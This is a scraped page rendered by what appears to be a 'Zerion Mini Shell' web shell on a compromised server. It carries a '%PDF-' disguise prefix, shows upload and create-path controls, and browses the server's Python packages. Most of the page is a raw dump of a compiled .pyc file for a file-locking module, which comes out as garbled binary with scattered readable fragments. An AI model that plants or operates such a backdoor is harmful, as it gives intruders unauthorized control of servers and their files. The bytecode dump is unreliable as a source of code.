%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/landscape/lib/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/landscape/lib/__pycache__/lock.cpython-312.pyc

�

�~�e���:�ddlZddlZddlZGd�de�Zdd�Zy)�Nc��eZdZdZy)�	LockErrorz"Raised when unable to lock a file.N)�__name__�
__module__�__qualname__�__doc__���4/usr/lib/python3/dist-packages/landscape/lib/lock.pyrrs��,r
rc�@��tj|tj��tj�tjd�}|tj
z}tj�tj|�tj�}		tj�tjtjz�	�fd�}|S#t$r(|tj�|z
krtd��YnwxYwtjd���)NrzCouldn't obtain lockg�������?c�x��tj�tj�tj��y)N)�fcntl�flock�LOCK_UN�os�close)�fds�r�unlock_pathzlock_path.<locals>.unlock_paths ���
���B��
�
�&�
����r
)r�open�O_CREATr�F_GETFD�
FD_CLOEXEC�F_SETFD�timer�LOCK_EX�LOCK_NB�OSErrorr�sleep)�path�timeout�flags�startedrrs     @r�	lock_pathr#
s����	����r�z�z�	"�B��K�K��E�M�M�1�-�E�	�U�
�
��E�	�K�K��E�M�M�5�)��i�i�k�G�
�	��K�K��E�M�M�E�M�M�9�:�

������	8������w�.�.�� 6�7�7�/�	8��
	
�
�
�3��s�5C�.D�D)r)rrr�	Exceptionrr#r	r
r�<module>r%s���	��-�	�-�r

Zerion Mini Shell 1.0